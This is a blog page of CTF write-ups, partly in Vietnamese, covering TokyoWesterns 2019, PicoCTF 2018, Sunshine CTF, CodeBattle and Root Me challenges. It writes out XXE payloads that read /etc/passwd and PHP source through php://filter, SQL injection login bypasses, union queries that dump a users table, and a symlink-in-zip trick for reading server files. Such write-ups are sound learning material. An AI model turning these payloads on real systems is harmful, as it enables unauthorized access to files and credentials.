Hiển thị các bài đăng có nhãn webCTF. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn webCTF. Hiển thị tất cả bài đăng

real-baby-rsa TokyoWesterns CTF 5th 2019

Hi everyone, this is the next post in the series of writeup of the TokyoWesterns CTF 5th 2019 contest, and it is  a cryptographic challenge : real-baby-rsa

Link: real-baby-rsa

Initially, because this was the first time our team participated in this competition, we thought it would be difficult to complete a challenge, but surprisingly, the organizers gave the challenge from easy to hard. and that makes us appreciate, let's start!

Look at the problem.py:


We can easily understand the flow of coding here: People create each part of the ciphertext(output.txt) by encoding each character of the flag with RSA with N, e already known.

Therefore, the solution to this problem is simply brute force, for each part of the cirpher text, we will try to encode with RSA each character in ascii charset, repeat this step for all parts of the cirpher text.

Here is my script python for the solution: my solution





Flag: TWCTF{padding_is_important}

Thanks for watching :)
Share:

j2x2j TokyoWesterns CTF 5th 2019

Recently, our team wanted to improve CTFtime's rankings so they worked harder, and this time it was TokyoWesterns CTF, the following is the write up of j2x2j web challenge!

    Link: http://j2x2j.chal.ctf.westerns.tokyo/


At the gance, I saw this word : "JSON <-> XML Converter" in the title. Obviously, I would immediately think of XXE.

Back to the site's interface, there are 2 boxes, a json format box, and an xml format box. By using the following payload, we can determine if it is really a XXE vulnerability or not.

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>&test;</root>

Put this payload and boom!


Later, I found that the site was written by PHP, and in may poison repository, there were weapons available to solve this problem :) I used PHP wrapper inside XXE

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>lnlinh31 &xxe; </name>
  </contact>
</contacts>





Looking at the first line of index.php, you know what to do?

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flag.php"> ]>
<contacts>
  <contact>
    <name>lnlinh31 &xxe; </name>
  </contact>
</contacts>


Flag: TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}


Hope this article makes you satisfied, thanks for watching :)
Share:

Secure Logon - PicoCTF 2018 web challenge writeup

Flag: picoCTF{fl1p_4ll_th3_bit3_2efa5ba8}
Source: https://www.dropbox.com/s/awe7dej0zdhnhrh/server_noflag.py?dl=0


Đề bài cho source như trên, chúng ta cùng phân tích nào! Nhưng đầu tiên, ta vẫn ngó qua xem giao diện web trông ra sao: 

Khái quát là: Một trang đăng nhập, với bất kì username khác "admin" thì sẽ đăng nhập thành công vào ra giao diện như hình trên, chú ý trường admin : 0 đồng nghĩa với việc ta không có flag :)) 
Đến đây, 99,99% nếu ta đặt được admin:1 thì ta sẽ có flag! Vậy ta làm việc đó bằng cách nào ?

Quay lại phân tích source đề cung cấp , ta nhận ra rằng : ở hàm login(), sau khi lấy username và password thì ứng dụng web này sinh ra 1 cookie bằng cách mã hóa AES với mode CBC


Sau đó điều hướng đến path /flag, tại path /flag, chương trình sẽ decrypt AES cái cookie mà đã set ở trên, sau đó kiểm tra nếu trường admin =1 thì trả flag, như vậy là dự đoán ở trên là đúng, giờ việc của chúng ta là cần tạo ra 1 ciphertext đặt vào cookie để sau khi ứng dụng nhận được cookie này decrypt lại ra chuỗi json có trường admin là 1.

Thực ra vấn đề bây giờ quay về việc khai thác hệ mật AES mode CBC, kỹ thuật chúng ta sẽ dùng để khai  ở đây có tên gọi là bit-flipping , đây là kỹ thuật bạn có thể ép 1 ciphertext decrypt thành 1 message nào đó mà ta mong muốn, các bạn có thể gg để hiểu rõ hơn, sau đây là solution:


Share:

Sunshine CTF 2019 web solution: WrestlerBook

Link: http://archive.sunshinectf.org:19006/index.html


Lại là form login, điều đầu tiên ta nghĩ đến nên là admin/admin hoặc là lỗi SQLi với form. Ta thử với payload : 1' or 1=1; và ra thông tin về Hulk Hogan

Ta thấy ngay Flag: N/A và đoán được rằng trong database sẽ 1 bảng chứa thông tin các võ sĩ, và sẽ có trường flag trong bảng đó, vấn đề bây giờ là tìm ra được tài khoản thật sự chứa flag.
Quay lại form đăng nhập, tiến hành nhập lỗi cho user/pass thì thấy báo lỗi từ SQLite3 database.

Tiếp tục đếm số cột trong câu truy vấn bằng order by ta biết được có 8 cột, đến đây ta có thể sử dụng kỹ thuật khai thác lỗi basic error SQLi để lấy thông tin:

Username: lnlinh31 Password: ' union SELECT 1, 2, group_concat(name), 4, group_concat(sql), 6, 7, 8 FROM sqlite_master WHERE type = "table";

web trả về kết quả như sau: 

CREATE TABLE `users` ( `username` TEXT, `password` TEXT, `avatar` TEXT, `age` INTEGER, `name` TEXT, `title` TEXT, `flag` TEXT, `id` INTEGER PRIMARY KEY AUTOINCREMENT ),CREATE TABLE sqlite_sequence(name,seq)

Đến đây đã rõ các cột trong bảng users , ta tiến hành dump dữ liệu từ bảng này: 

Username: lnlinh31 Password: ' union SELECT group_concat(username), group_concat(password), group_concat(avatar), group_concat(age), group_concat(name), group_concat(title), group_concat(flag), group_concat(id) FROM users;


Flag: sun{ju57_4n07h3r_5ql1_ch4ll}





Share:

PicoCTF 2018 writeup : Artisinal Handcrafted HTTP 3 - Points: 300

Đề bài: nc 2018shell.picoctf.com 4914



- Chall bắt người chơi phải viết tay những  header của gói tin HTTP để giao tiếp với server có tên là flag.local và đề bài đã cung cấp username/password là: realbusinessuser/potoooooooo.

- Như vậy nhiệm vụ của chúng ta đã rõ: Đó là viết request gửi form đăng nhập đến flag.local để nhận flag. Mạnh dạn gửi 1 request như sau:
           
và nhận lại response:



status code 302 thông báo chuyển hướng đến location: / do đó ta gửi thêm 1 request nữa để lấy flag: 



nhớ kèm theo Cookie để server accept !

và kết quả là: 


Flag: picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_251f}






Share:

PicoCTF 2018 writeup: The vault (Web challenge)

Link : http://2018shell.picoctf.com:49030/
Đầu tiên, chúng ta có thể đọc source login.php:


Nhìn qua thì challenge này tương tự chall http://2018shell2.picoctf.com:52135/login.html - Irish Name Repo.

Đây là lỗi SQL nhưng khác Irish Name Repo ở chỗ có 1 bộ lọc, bộ lọc này lọc từ "OR" , vì thế chúng ta không thể sử dụng payload kiểu như: 1' OR 1 = 1 -- .

Nhưng thay vì sử dụng "OR" chúng ta vẫn có thể sử dụng "UNION" để khai khác lỗi SQL.
Nhập password : 'union select 1 from users -- 
Lúc này câu truy vấn là : SELECT 1 FROM users WHERE name='' AND password=''union select 1 from users --
Vậy là chúng ta đăng nhập thành công!

Flag: picoCTF{w3lc0m3_t0_th3_vau1t_c4738171}



Share:

CodeBattle2019 Web Solution: Fandances


Truy cập web ta thấy 1 trang login đi kèm với trang register:



Thử tạo 1 account rồi login với account đó là thấy như sau:


Vậy là flag bị chia làm 2 phần, ta sẽ tìm phần  1 ở page này.

Part1: CodeBattle{un1c0d3_st3g44

Tìm tiếp phần 2, sử dụng hint đề cho ta có được file backup  của web gồm 3 file:
login.txt, register.txt schema.sql. Sau khi quan sát 3 file này ta rút ra được đó là:
-         Có 2 bảng là Account và privilege
-         Khi người dùng đăng kí thì sẽ thực thi 2 câu truy vấn  (trong file register.txt)

  
-         Như vậy, bất kì người dùng nào đăng kí mới sẽ bị gán isrestricted = True với tham chiếu qua uid ở bảng privilege. Và với isrestricted = true thì account đó sẽ không lấy được flag(hình dưới)

   

Đầu tiên, khi nhìn đến đoạn này mình nghĩ ngay đến việc sử dụng multi insert trong SQL để insert vào bảng privilege với cặp giá trị (uid,isrestricted) với isrestricted = False nhưng thất bại, và lúc này  mình thấy có hàm mysqli_real_escape_string()  các bạn gg sẽ thấy cách dùng chi tiết của  nó, đại khái là nó giúp ngăn ngừa SQL injection.
Đến đây ta phải đi theo hướng khác! Sau khi nhờ sự trợ giúp của Luân đại ca thì mình biết đến lỗi SQL truncation.  Các bạn gg để biết rõ hơn về lỗi này. Ví dụ độ dài cột username trong bảng Account tối đa được phép 100 ký tự, thì khi ta gửi lên 1 chuỗi có độ dài lớn hơn 100 ký tự thì Mysql  sẽ tự động truncate và giữ lại 100 ký tự đầu mà thôi.
Quay lại bài này. Chúng ta để ý thấy trong file schema.sql không đặt giới hạn cho trường username nên mặc định sẽ là 65535 ký tự với Mysql. Như vậy chúng ta sẽ gửi lên server với độ dài username > 65535 ký tự.
Sau khi truncate , câu query thứ hai trong file register sẽ không có kết quả bởi vì uid của nó tham chiếu đến username vừa bị truncate. Điều đó nghĩa là trường restricted không được đặt giá trị true, do đó ta có thể tiến hành login với account vừa tạo và nhận part2 của flag. Sau đây là script giải quyết:


Part2: _4nd_4_f4m1l14r_ch4l}

Flag: CodeBattle{un1c0d3_st3g44_4nd_4_f4m1l14r_ch4l}



Share:

Root Me Solution : File upload - ZIP (Web CTF Challenge)


Link: http://challenge01.root-me.org/web-serveur/ch51/

Chall này minh họa lỗ hổng File upload trên các ứng dụng web.Các bạn có thể google "File upload exploit" để tìm hiểu kĩ hơn. Quay lại giao diện  nhắc chúng ta upload 1 file zip lên server. Thôi không dài dòng, chúng ta đi vào cách làm luôn nào :)


  1. Tạo 1 symlink đến ../../../index.php bằng câu lệnh: 
    • ln -s ../../../index.php lnlinh31
  2. Nén symlink vừa tạo: 
    • zip --symlinks test.zip lnlinh31
Sau khi nén xong, ta upload file .zip vừa tạo , sau đó truy cập đến path của file mà web tạo ra:
và đây là kết quả, chúng ta có thể đọc được file index.php và lấy flag!

Flag: N3v3r_7rU5T_u5Er_1npU7





Share: